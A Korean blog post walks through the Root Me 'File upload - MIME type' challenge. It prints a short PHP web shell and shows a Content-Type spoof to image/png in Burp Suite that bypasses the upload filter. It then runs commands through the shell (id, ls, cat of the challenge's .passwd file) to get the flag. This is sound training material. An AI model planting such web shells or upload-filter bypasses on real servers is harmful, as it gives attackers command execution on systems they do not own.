워게임/Root Me

[Root Me] File upload - MIME type - 웹해킹 / WebShell

SecurityMan 2022. 6. 8. 11:00

 

두번째 파일 업로드 취약점 문제

(지난문제 : https://hackingstudypad.tistory.com/153)

 

파일 업로드 취약점이란 인가 받지 않은 악성 파일을 공격자가 웹 서버에 업로드하여

 

시스템 권한을 획득할 수 있는 취약점을 말한다.

 

보통 웹쉘(WebShell)이라는 것을 만들어서 업로드를 하는데

 

웹쉘을 업로드하게 되면 웹 페이지를 통해 운영체제 명령어까지 입력할 수 있게 되기 때문에

 

아주 위험한 취약점이다.

 

보통 개발자들이 .asp, .php, .jsp 이런 확장자를 업도르 하지 못하게 막아놓는데,

 

그 이유가 저런 확장자들이 서버에 업로드 될 경우, 서버의 일부로 동작이 되면서

 

웹쉘로서 기능을 하기 때문이다.

 

반응형

 

이번 문제역시 저번처럼 php로 작성된 웹쉘을 업로드 하고,

 

서버 내부에 있는 .passwd 파일의 내용을 읽으면 된다.

 

 

문제 페이지에 접속하면 저번처럼 Photo gallery 가 나온다.

 

defaced, pirate 관련된 사진들이 있다.

(지난번 보다 전반적으로 어둡고 무서운 분위기로 바꼈다...)

 

 

중간에 upload 페이지가 있고

 

사용자가 직접 사진을 업로드 할 수 있다.

 

파일 업로드 취약점을 이용해 php 파일을 업로드 해야하니

 

일단 먼저 간단한 웹쉘을 만들어서 업로드를 시도해 본다.

 

<?php
	$a = $_GET['cmd'];
	system($a);
?>

 

php 웹쉘을 이렇게 짧고 간단하게 만들 수 있다.

 

위 코드의 내용은 cmd 라는 변수의 값을 GET 메소드로 사용자에게 전달 받은 뒤,

 

운영체제에 전달받은 명령어를 실행시키고, 결과를 출력하는 것이다.

 

메모장에 저 코드를 그대로 쓴 뒤 webshell.php로 저장해준다.

 

 

업로드를 하려고 보니 GIF, JPEG, PNG 파일만 업로드 가능하다고 안내가 나온다.

 

 

역시나 방금만든 webshell.php 파일을 업로드 시도하면

 

Wrong file type! 이라면서 업로드가 되지 않는다.

 

문제를 풀기위해서 Burp Suite 도구를 이용해 보자.

(도구 설치법 : https://hackingstudypad.tistory.com/72)

 

 

webshell.php 파일을 선택하고 upload 버튼을 누른 직후의 요청 패킷을 잡아본다.

 

중간에 보면 Content-Type : application/octet-stream 이라고 되어 있는 부분이 보인다.

 

이 부분이 문제 제목에도 써있던 MIME TYPE 이다.

 

 

Mdn web docs 에 적혀있는 MIME TYPE에 대한 설명이다.

 

웹에서는 확장자는 크게 중요하지 않고, 파일의 종류를 구분하기 위해서 이 MIME TYPE라는것을 사용한다.

 

 

자 그럼 여기서 Content-Type을 업로드 가능한 파일인 png로 바꿔본다.

 

Content-Type : image/png 라고 바꿔주면 된다.

 

그리고 나서 응답 패킷을 확인해보면

 

 

/webshell.php 경로에 webshell.php 가 잘 업로드 된 것을 확인할 수 있다.

 

 

업로드 후 upload 페이지로 다시 가보면

 

webshell 이 생긴것을 볼 수 있다.

 

 

webshell을 누르면 에러가 나는걸 볼 수 있는데

 

이건 아까 php 파일을 만들때 GET 메소드로 cmd 변수에 값을 넣어줘야 했으나

 

아직 안넣어줬기 때문에 운영체제 명령어를 실행할 수 없다고 에러가 나는 것이다.

 

 

URL 맨 끝에 ?cmd=id 라고 입력해서

 

cmd 변수에 id 라는 값을 담아주면

 

system('id') 가 서버로 전달되어 id 명령어가 실행된다.

 

실행 결과는 보는것과 같이 잘 나온다.

 

이제 문제의 목표인 .passwd 파일의 내용을 읽어주면 된다.

 

 

?cmd=ls -al /challenge/web-serveur/ch21/ 이라고 명령을 쳐주면

 

해당 경로에 .passwd 파일이 있는것을 확인할 수 있다.

 

 

마지막으로 ?cmd=cat /challenge/web-serveur/ch21/.passwd 를 이용해

 

.passwd 파일의 내용을 출력시키면

 

플래그를 확인할 수 있다.

반응형